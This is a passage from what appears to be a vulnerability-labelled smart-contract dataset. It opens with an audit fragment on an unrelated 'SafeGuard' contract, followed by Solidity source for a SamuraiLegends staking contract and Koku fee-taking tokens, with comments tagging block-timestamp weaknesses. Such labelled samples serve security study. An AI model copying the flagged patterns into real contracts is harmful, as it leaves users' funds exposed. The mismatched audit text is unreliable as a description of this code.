CREATOR_ROLE which, as the name suggests, is assigned to the creator of the safeguard. However, by invoking the grantRole function of the AccessControlEnumerable contract in the OpenZeppelin contractlibrary, an admin can grant this role to any address. Fix: Consider removing the CREATOR_ROLE role from the SafeGuard contract and using the onlyOwner modifier in the setTimelock function. 3. [L03] Incorrect interface definition and implementation Problem: The ISafeGuard interface does not define the queueTransactionWithDescription function implemented in the SafeGuard contract, and at the same time, it defines the __abdicate, __queueSetTimelockP
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** ..................................................... . ........................................................... ..................................................................... ..................................................,.................... .... ......................................##((#..,,,,,,,,...................... ....................................&@@&@%%&&.,,,,,,,..................... ...........................,.,..,%(@@@@&.&&%##/(,,,......................... . ........................,,,,...&@@@@#@ ....@/##%&@.......................... .................,....,,,,,,%*@@@@%..,,,,,,,, &&%#%((........................... ................,.,,,,,,,.@@@@@#@ ,,,,,@%@.,,,. @(%%&&&......................... .............,,,,,,,,,,##@&@&%.,,,,,(%@@@@@#(..... %@@@@/#...................... ..............,,,,,,.&&@&@(@.,,,,,@%@@@@ &@@@&@.,,.. &/&&@@@.................... ...........,,,,,,,(%&&&@& ,,,,,,@#&&@@,,,, @@@@%&..,... @@&&@((.,,.............. ...........,,,,.@@@&@#@.,,,,,@&/,,*@&&&%@(@@@&(..*@@.,,,..&(&&@@@............... ..........,,,(&@@@@@ ,,,,,/@@@@@&@%%@@(@@&/@%#%@%@@@@&#,,,,. @@@@@#(............ ...........@@@@@&@.,,,,,@&@@@@&%@@@@*,.*@/.,,@@@@#@@@@@&@.,,,..&(@@@@@.......... ........%&@@@@&.,,,,,,&@@@%%.,,, @@@@&&,,,@%@@@@.,,,.&*@@@&*,,,.. @@@@@&#....... .......... @@@@@@&,,,,,.@&@@@@%&@@@&*.,,@*,.*@@@@%&@@@@&@ ,,,..&(@@@@@ ......... .........,,,.&@@@@@@,,,,,,*@@@@@&@@@@@&@@@&@@@@@%@@@@%%,,,,, @@@@@(@............ .........,,,,,, @@@@@@&,,,,, @@*..,@@@@&@%@@@@/,,*@@ ,,,,,&(@@@@@ .............. ........,,,,,,,,,.&@@@@@@,,,,,,.&&@@@@ .,. @@@@&@,,,,,,.@@@@@(@................. ........,,,,,,,,,,,, @&@@@@&,,,,, @&@@@@.@@@@&@ ,,,,.%(@@@@@ ................... ........,,,,,,,,,,,,,,.&@@@@@@,,.,..*&@@@@@&/,,,,,.@@@@@(@...................... .........,,,,,,,,,,,,,,,, @&@@@@&.,,.. @%@.,,,,.#%@@@@& ........................ ..........,,,,,,,,,,,,,,,,,.&&&@@@@...,,,,,,,.@@@@&#&........................... .......,...,,,,,,,,,,,,,,,,,.. &%&&@@&,,,,,%&&&&@% ............................. ............,,,,,,,,,,,,,,,,.... &@&&@@&.&@&&&%&................................ .................,,,,,,,,,,........ &%&&@&&&% .................................. .....................,,,,,.........,,.&&%&@................................... ..................................,,,,.. .................................... ..................................,,....................................... ......................................................................... */ import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./Recoverable.sol"; import "./Generatable.sol"; import "./Array.sol"; struct Fee { uint128 numerator; uint128 denominator; } struct PendingPeriod { uint128 repeat; uint128 period; } struct PendingAmount { uint32 createdAt; uint112 fullAmount; uint112 claimedAmount; PendingPeriod pendingPeriod; } /** @title Contract that adds auto-compounding staking functionalities @author Leo @notice Stake any ERC20 token in a auto-compounding way using this contract */ contract SamuraiLegendsStaking is Ownable, Pausable, Generatable, Recoverable { using Array for uint[]; IERC20 private immutable _token; uint160 public rewardRate; uint32 public rewardDuration = 12 weeks; // SWC-Block values as a proxy for time: L77 uint32 private _rewardUpdatedAt = uint32(block.timestamp); uint32 public rewardFinishedAt; uint private _totalStake; mapping(address => uint) private _userStake; uint128 private _rewardPerToken; uint128 private _lastRewardPerTokenPaid; mapping(address => uint) private _userRewardPerTokenPaid; Fee public fee = Fee(0, 1000); PendingPeriod public pendingPeriod = PendingPeriod({ repeat: 4, period: 7 days }); mapping(address => uint[]) private _userPendingIds; mapping(address => mapping(uint => PendingAmount)) private _userPending; /** @param token The ERC20 token address to enable staking for */ constructor(IERC20 token) { _token = token; } /** @notice compute the compounded total stake in real-time @return totalStake The current compounded total stake */ function totalStake() public view returns (uint) { return _totalStake + _earned(_totalStake, _lastRewardPerTokenPaid); } /** @notice compute the compounded user stake in real-time @param account The user address to use @return userStake The current compounded user stake */ function userStake(address account) public view returns (uint) { return _userStake[account] + earned(account); } /** @notice return the user pending amount metadata @param account The user address to use @param index The user pending index to use @return pendingAmount The user pending amount metadata */ function userPending(address account, uint index) public view returns (PendingAmount memory) { uint id = _userPendingIds[account][index]; return _userPending[account][id]; } /** @notice compute the user claimable pending percentage @param account The user address to use @param index The user pending index to use @dev 18 decimals were used to not lose information @return percentage The user claimable pending percentage */ function userClaimablePendingPercentage(address account, uint index) public view returns (uint) { PendingAmount memory pendingAmount = userPending(account, index); uint n = getClaimablePendingPortion(pendingAmount); return n >= pendingAmount.pendingPeriod.repeat ? 100 * 1e9 : (n * 100 * 1e9) / pendingAmount.pendingPeriod.repeat; } /** @notice return the user pending ids @param account The user address to use @return ids The user pending ids */ function userPendingIds(address account) public view returns (uint[] memory) { return _userPendingIds[account]; } /** @notice the last time rewards were updated @return lastTimeRewardActiveAt A timestamp of the last time the update reward modifier was called */ function lastTimeRewardActiveAt() public view returns (uint) { // SWC-Block values as a proxy for time: L156 return rewardFinishedAt > block.timestamp ? block.timestamp : rewardFinishedAt; } /** @notice the current reward per token value @return rewardPerToken The accumulated reward per token value */ function rewardPerToken() public view returns (uint) { if (_totalStake == 0) { return _rewardPerToken; } return _rewardPerToken + ((lastTimeRewardActiveAt() - _rewardUpdatedAt) * rewardRate * 1e9) / _totalStake; } /** @notice the total rewards available @return totalDurationReward The total expected rewards for the current reward duration */ function totalDurationReward() public view returns (uint) { return rewardRate * rewardDuration; } /** @notice the user earned rewards @param account The user address to use @return earned The user earned rewards */ function earned(address account) private view returns (uint) { return _earned(_userStake[account], _userRewardPerTokenPaid[account]); } /** @notice the accumulated rewards for a given staking amount @param stakeAmount The staked token amount @param rewardPerTokenPaid The already paid reward per token @return _earned The earned rewards based on a staking amount and the reward per token paid */ function _earned(uint stakeAmount, uint rewardPerTokenPaid) internal view returns (uint) { uint rewardPerTokenDiff = rewardPerToken() - rewardPerTokenPaid; return (stakeAmount * rewardPerTokenDiff) / 1e9; } /** @notice this modifier is used to update the rewards metadata for a specific account @notice it is called for every user or owner interaction that changes the staking, the reward pool or the reward duration @notice this is an extended modifier version of the Synthetix contract to support auto-compounding @notice _rewardPerToken is accumulated every second @notice _rewardUpdatedAt is updated for every interaction with this modifier @param account The user address to use */ modifier updateReward(address account) { _rewardPerToken = uint128(rewardPerToken()); _rewardUpdatedAt = uint32(lastTimeRewardActiveAt()); // auto-compounding if (account != address(0)) { uint reward = earned(account); _userRewardPerTokenPaid[account] = _rewardPerToken; _lastRewardPerTokenPaid = _rewardPerToken; _userStake[account] += reward; _totalStake += reward; } _; } /** @notice stake an amount of the ERC20 token @param amount The amount to stake */ function stake(uint amount) public whenNotPaused updateReward(msg.sender) { // checks require(amount > 0, "Invalid input amount."); // effects _totalStake += amount; _userStake[msg.sender] += amount; // interactions require(_token.transferFrom(msg.sender, address(this), amount), "Transfer failed."); emit Staked(msg.sender, amount); } /** @notice create a new pending after withdrawal @param amount The amount to create pending for */ function createPending(uint amount) internal { uint id = unique(); _userPendingIds[msg.sender].push(id); _userPending[msg.sender][id] = PendingAmount({ // SWC-Block values as a proxy for time: L251 createdAt: uint32(block.timestamp), fullAmount: uint112(amount), claimedAmount: 0, pendingPeriod: pendingPeriod }); emit PendingCreated(msg.sender, block.timestamp, amount); } /** @notice cancel an existing pending @param index The pending index to cancel */ function cancelPending(uint index) external whenNotPaused updateReward(msg.sender) { PendingAmount memory pendingAmount = userPending(msg.sender, index); uint amount = pendingAmount.fullAmount - pendingAmount.claimedAmount; deletePending(index); // effects _totalStake += amount; _userStake[msg.sender] += amount; emit PendingCanceled(msg.sender, pendingAmount.createdAt, pendingAmount.fullAmount); } /** @notice delete an existing pending @param index The pending index to delete */ function deletePending(uint index) internal { uint[] storage ids = _userPendingIds[msg.sender]; uint id = ids[index]; ids.remove(index); delete _userPending[msg.sender][id]; } /** @notice withdraw an amount of the ERC20 token @notice when you withdraw a pending will be created for that amount @notice you will be able to claim the pending for after an exact vesting period @param amount The amount to withdraw */ function _withdraw(uint amount) internal { // effects _totalStake -= amount; _userStake[msg.sender] -= amount; createPending(amount); emit Withdrawn(msg.sender, amount); } /** @notice withdraw an amount of the ERC20 token @param amount The amount to withdraw */ function withdraw(uint amount) external updateReward(msg.sender) { // checks require(_userStake[msg.sender] > 0, "User has no active stake."); require(amount > 0 && _userStake[msg.sender] >= amount, "Invalid input amount."); // effects _withdraw(amount); } /** @notice withdraw the full amount of the ERC20 token */ function withdrawAll() external updateReward(msg.sender) { // checks require(_userStake[msg.sender] > 0, "User has no active stake."); // effects _withdraw(_userStake[msg.sender]); } /** @notice get the user claimable pending portion @param pendingAmount The pending amount metadata to use */ function getClaimablePendingPortion(PendingAmount memory pendingAmount) private view returns (uint) { // SWC-Block values as a proxy for time: L333 return (block.timestamp - pendingAmount.createdAt) / pendingAmount.pendingPeriod.period; // 0 1 2 3 4 } /** @notice update the claiming fee @param numerator The fee numerator @param denominator The fee denominator */ function setFee(uint128 numerator, uint128 denominator) external onlyOwner { require(denominator != 0, "Denominator must not equal 0."); fee = Fee(numerator, denominator); emit FeeUpdated(numerator, denominator); } /** @notice user can claim a specific pending by index @param index The pending index to claim */ function claim(uint index) external { // checks uint id = _userPendingIds[msg.sender][index]; PendingAmount storage pendingAmount = _userPending[msg.sender][id]; uint n = getClaimablePendingPortion(pendingAmount); require(n != 0, "Claim is still pending."); uint amount; /** @notice N is the user claimable pending portion @notice checking if user N and the user MAX N are greater than or equal @notice that way we know if want to claim the full amount or just part of it */ if (n >= pendingAmount.pendingPeriod.repeat) { amount = pendingAmount.fullAmount - pendingAmount.claimedAmount; } else { uint percentage = (n * 1e9) / pendingAmount.pendingPeriod.repeat; amount = (pendingAmount.fullAmount * percentage) / 1e9 - pendingAmount.claimedAmount; } // effects /** @notice pending is completely done @notice we will remove the pending item */ if (n >= pendingAmount.pendingPeriod.repeat) { uint createdAt = pendingAmount.createdAt; uint fullAmount = pendingAmount.fullAmount; deletePending(index); emit PendingFinished(msg.sender, createdAt, fullAmount); } /** @notice pending is partially done @notice we will update the pending item */ else { pendingAmount.claimedAmount += uint112(amount); emit PendingUpdated(msg.sender, pendingAmount.createdAt, pendingAmount.fullAmount); } // interactions uint feeAmount = amount * fee.numerator / fee.denominator; require(_token.transfer(msg.sender, amount - feeAmount), "Transfer failed."); emit Claimed(msg.sender, amount); } /** @notice owner can add staking rewards @param _reward The reward amount to add */ function addReward(uint _reward) external onlyOwner updateReward(address(0)) { // checks require(_reward > 0, "Invalid input amount."); // SWC-Block values as a proxy for time: L408 if (block.timestamp > rewardFinishedAt) { // Reward duration finished rewardRate = uint160(_reward / rewardDuration); } else { uint remainingReward = rewardRate * (rewardFinishedAt - block.timestamp); rewardRate = uint160((remainingReward + _reward) / rewardDuration); } // effects _rewardUpdatedAt = uint32(block.timestamp); rewardFinishedAt = uint32(block.timestamp + rewardDuration); // interactions require(_token.transferFrom(owner(), address(this), _reward), "Transfer failed."); emit RewardAdded(_reward); } /** @notice owner can decrease staking rewards only if the duration isn't finished yet @notice decreasing rewards doesn't alter the reward finish time @param _reward The reward amount to decrease */ function decreaseReward(uint _reward) external onlyOwner updateReward(address(0)) { // checks require(_reward > 0, "Invalid input amount."); require(block.timestamp <= rewardFinishedAt, "Reward duration finished."); uint remainingReward = rewardRate * (rewardFinishedAt - block.timestamp); require(remainingReward > _reward, "Invalid input amount."); // effects rewardRate = uint160((remainingReward - _reward) / (rewardFinishedAt - block.timestamp)); _rewardUpdatedAt = uint32(block.timestamp); // interactions require(_token.transfer(owner(), _reward), "Transfer failed."); emit RewardDecreased(_reward); } /** @notice owner can rest all rewards and reward finish time back to 0 */ function resetReward() external onlyOwner updateReward(address(0)) { if (rewardFinishedAt <= block.timestamp) { rewardRate = 0; _rewardUpdatedAt = uint32(block.timestamp); rewardFinishedAt = uint32(block.timestamp); } else { // checks uint remainingReward = rewardRate * (rewardFinishedAt - block.timestamp); // effects rewardRate = 0; _rewardUpdatedAt = uint32(block.timestamp); rewardFinishedAt = uint32(block.timestamp); // interactions require(_token.transfer(owner(), remainingReward), "Transfer failed."); } emit RewardReseted(); } /** @notice owner can update the reward duration @notice it can only be updated if the old reward duration is already finished @param _rewardDuration The reward _rewardDuration to use */ function updateRewardDuration(uint32 _rewardDuration) external onlyOwner { require(block.timestamp > rewardFinishedAt, "Reward duration must be finalized."); rewardDuration = _rewardDuration; emit RewardDurationUpdated(_rewardDuration); } /** @notice owner can update the pending period @notice if we want a vesting period of 28 days 4 times, we can have the repeat as 4 and the period as 7 days @param repeat The number of times to keep a withdrawal pending @param period The period between each repeat */ function updatePendingPeriod(uint128 repeat, uint128 period) external onlyOwner { pendingPeriod = PendingPeriod(repeat, period); emit PendingPeriodUpdated(repeat, period); } /** @notice owner can pause the staking contract */ function pause() external whenNotPaused onlyOwner { _pause(); } /** @notice owner can resume the staking contract */ function unpause() external whenPaused onlyOwner { _unpause(); } event Staked(address indexed account, uint amount); event PendingCreated(address indexed account, uint createdAt, uint amount); event PendingUpdated(address indexed account, uint createdAt, uint amount); event PendingFinished(address indexed account, uint createdAt, uint amount); event PendingCanceled(address indexed account, uint createdAt, uint amount); event Withdrawn(address indexed account, uint amount); event Claimed(address indexed account, uint amount); event RewardAdded(uint amount); event RewardDecreased(uint amount); event RewardReseted(); event RewardDurationUpdated(uint duration); event PendingPeriodUpdated(uint repeat, uint period); event FeeUpdated(uint numerator, uint denominator); }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** @title Array @author Leo @notice Adds utility functions to an array of integers */ library Array { /** @notice Removes an array item by index @dev This is a O(1) time-complexity algorithm without persiting the order @param array A reference value to the array @param index An item index to be removed */ function remove(uint[] storage array, uint index) internal { require(index < array.length, "Index out of bound."); array[index] = array[array.length - 1]; array.pop(); } }// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./Recoverable.sol"; struct Fee { uint128 numerator; uint128 denominator; } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20WithFees is Context, IERC20, IERC20Metadata, AccessControl, Recoverable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; Fee public fee = Fee(0, 1000); mapping(address => bool) public isPair; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } /** @notice Adds fee support */ uint feeAmount = 0; /** * @notice Checks if the fees should apply or not. * if both sender and receiver aren't excluded from paying fees. * if either sender or receiver are LP pairs. */ if (!isExcludedFromFees(sender) && !isExcludedFromFees(recipient) && (isPair[sender] || isPair[recipient])) { feeAmount = amount * fee.numerator / fee.denominator; } _balances[recipient] += amount - feeAmount; /** * @notice Increments Koku's address balance. */ _balances[address(this)] += feeAmount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @notice Adds fees taxing to liquidity pair. * @param numerator The fee numerator. * @param denominator The fee denominator. */ function setFee(uint128 numerator, uint128 denominator) external onlyRole(DEFAULT_ADMIN_ROLE) { require(denominator != 0, "Denominator must not equal 0."); fee = Fee(numerator, denominator); emit FeeUpdated(numerator, denominator); } /** * @notice Adds or removes a pair address from getting taxed. * @param pair Pair address. * @param value Boolean value to indicate whether we tax a pair or not. */ function setPair(address pair, bool value) external onlyRole(DEFAULT_ADMIN_ROLE) { isPair[pair] = value; if (value) { emit PairAdded(pair); } else { emit PairRemoved(pair); } } /** * @notice Checks if address is excluded from paying fees. * The excluded addresses for now are the owner and the current KOKU's address. * @param account Address to check. */ function isExcludedFromFees(address account) internal view returns (bool) { return account == owner() || account == address(this); } event FeeUpdated(uint numerator, uint denominator); event PairAdded(address account); event PairRemoved(address account); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20WithFees.sol"; /** * @title Contract that adds inflation and fees functionalities. * @author Leo */ contract Koku is ERC20WithFees { bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); /** * @notice lastTimeAdminMintedAt The last time an admin minted new tokens. * adminMintableTokensPerSecond Amount of tokens that can be minted by an admin per second. * adminMintableTokensHardCap Maximum amount of tokens that can minted by an admin at once. */ uint32 public lastTimeAdminMintedAt; uint112 public adminMintableTokensPerSecond = 0.005 * 1e9; uint112 public adminMintableTokensHardCap = 10_000 * 1e9; /** * @notice lastTimeGameMintedAt The last time the game minted new tokens. * gameMintableTokensPerSecond Amount of tokens that can be minted by the game per second. * gameMintableTokensHardCap Maximum amount of tokens that can minted by the game at once. */ uint32 public lastTimeGameMintedAt; uint112 public gameMintableTokensPerSecond = 0.1 * 1e9; uint112 public gameMintableTokensHardCap = 10_000 * 1e9; constructor() ERC20WithFees("Koku", "KOKU") { /** * @notice Grants ADMIN and MINTER roles to contract creator. */ _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setupRole(MINTER_ROLE, msg.sender); /** * @notice Mints an initial 100k KOKU. */ lastTimeAdminMintedAt = uint32(block.timestamp); _mint(msg.sender, 100_000 * 1e9); } function decimals() public view virtual override returns (uint8) { return 9; } /** * @notice Updates the adminMintableTokensPerSecond state variable. * @param amount The admin mintable tokens per second. */ function setAdminMintableTokensPerSecond(uint112 amount) external onlyRole(DEFAULT_ADMIN_ROLE) { adminMintableTokensPerSecond = amount; emit AdminMintableTokensPerSecondUpdated(amount); } /** * @notice Updates the adminMintableTokensHardCap state variable. * @param amount The admin mint hard cap. */ function setAdminMintableTokensHardCap(uint112 amount) external onlyRole(DEFAULT_ADMIN_ROLE) { adminMintableTokensHardCap = amount; emit AdminMintableTokensHardCapUpdated(amount); } /** * @notice Updates the gameMintableTokensPerSecond state variable. * @param amount The game mintable tokens per second. */ function setGameMintableTokensPerSecond(uint112 amount) external onlyRole(DEFAULT_ADMIN_ROLE) { gameMintableTokensPerSecond = amount; emit GameMintableTokensPerSecondUpdated(amount); } /** * @notice Updates the gameMintableTokensHardCap state variable. * @param amount The game mint hard cap. */ function setGameMintableTokensHardCap(uint112 amount) external onlyRole(DEFAULT_ADMIN_ROLE) { gameMintableTokensHardCap = amount; emit GameMintableTokensHardCapUpdated(amount); } /** * @notice Gives an admin the ability to mint more tokens. * @param amount Amount to mint. */ function specialMint(uint amount) external onlyRole(DEFAULT_ADMIN_ROLE) { require(amount > 0, "Invalid input amount."); uint mintableTokens = getMintableTokens(lastTimeAdminMintedAt, adminMintableTokensPerSecond, adminMintableTokensHardCap); require(mintableTokens >= amount, "amount exceeds the mintable tokens amount."); _mint(msg.sender, amount); lastTimeAdminMintedAt = getLastTimeMintedAt(mintableTokens, amount, adminMintableTokensPerSecond); emit AdminBalanceIncremented(amount); } /** * @notice Increments the inputed account's balances by minting new tokens. * @param accounts Array of addresses to increment. * @param values Respective mint value of every account to increment. * @param valuesSum Total summation of all the values to mint. */ function incrementBalances(address[] calldata accounts, uint[] calldata values, uint valuesSum) external onlyRole(MINTER_ROLE) { require(accounts.length == values.length, "Arrays must have the same length."); require(valuesSum > 0, "Invalid valuesSum amount."); uint mintableTokens = getMintableTokens(lastTimeGameMintedAt, gameMintableTokensPerSecond, gameMintableTokensHardCap); require(mintableTokens >= valuesSum, "valuesSum exceeds the mintable tokens amount."); uint sum = 0; for (uint i = 0; i < accounts.length; i++) { sum += values[i]; require(mintableTokens >= sum, "sum exceeds the mintable tokens amount."); _mint(accounts[i], values[i]); } lastTimeGameMintedAt = getLastTimeMintedAt(mintableTokens, sum, gameMintableTokensPerSecond); emit UserBalancesIncremented(sum); } /** * @notice Computes the mintable tokens while taking the hardcap into account. * @param lastTimeMintedAt The last time new tokens minted at. * @param mintableTokensPerSecond Amount of tokens that can be minted per second. * @param mintableTokensHardCap Maximum amount of tokens that can minted at once. */ function getMintableTokens(uint32 lastTimeMintedAt, uint112 mintableTokensPerSecond, uint112 mintableTokensHardCap) internal view returns (uint) { return min((block.timestamp - lastTimeMintedAt) * mintableTokensPerSecond, mintableTokensHardCap); } /** * @notice Computes the last time new tokens minted at by taking the current timestamp * and substracting from it the diff seconds between mintableTokens and mintedTokens. * @param mintableTokens Amount of tokens that can be minted. * @param mintedTokens Amount of tokens that have been be minted. * @param mintableTokensPerSecond Amount of tokens that can be minted per second. */ function getLastTimeMintedAt(uint mintableTokens, uint mintedTokens, uint112 mintableTokensPerSecond) internal view returns (uint32) { return uint32(block.timestamp - (mintableTokens - mintedTokens) / mintableTokensPerSecond); } /** * @dev Returns the smallest of two numbers. */ function min(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } event AdminMintableTokensPerSecondUpdated(uint amount); event AdminMintableTokensHardCapUpdated(uint amount); event GameMintableTokensPerSecondUpdated(uint amount); event GameMintableTokensHardCapUpdated(uint amount); event AdminBalanceIncremented(uint amount); event UserBalancesIncremented(uint amount); }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /** @title Recoverable @author Leo @notice Recovers stucked BNB or ERC20 tokens @dev You can inhertit from this contract to support recovering stucked tokens or BNB */ contract Recoverable is Ownable { /** @notice Recovers stucked ERC20 token in the contract @param token An ERC20 token address */ function recoverERC20(address token, uint amount) external onlyOwner { IERC20 erc20 = IERC20(token); require(erc20.balanceOf(address(this)) >= amount, "Invalid input amount."); require(erc20.transfer(owner(), amount), "Recover failed"); } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract SamuraiLegends is ERC20 { constructor() ERC20("SamuraiLegends", "SMG") { _mint(msg.sender, 600_000_000 * 1e9); } function decimals() public view virtual override returns (uint8) { return 9; } }// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** @title Generatable @author Leo @notice Generates a unique id */ contract Generatable { uint private id; /** @notice Generates a unique id @return id The newly generated id */ function unique() internal returns (uint) { id += 1; return id; } }
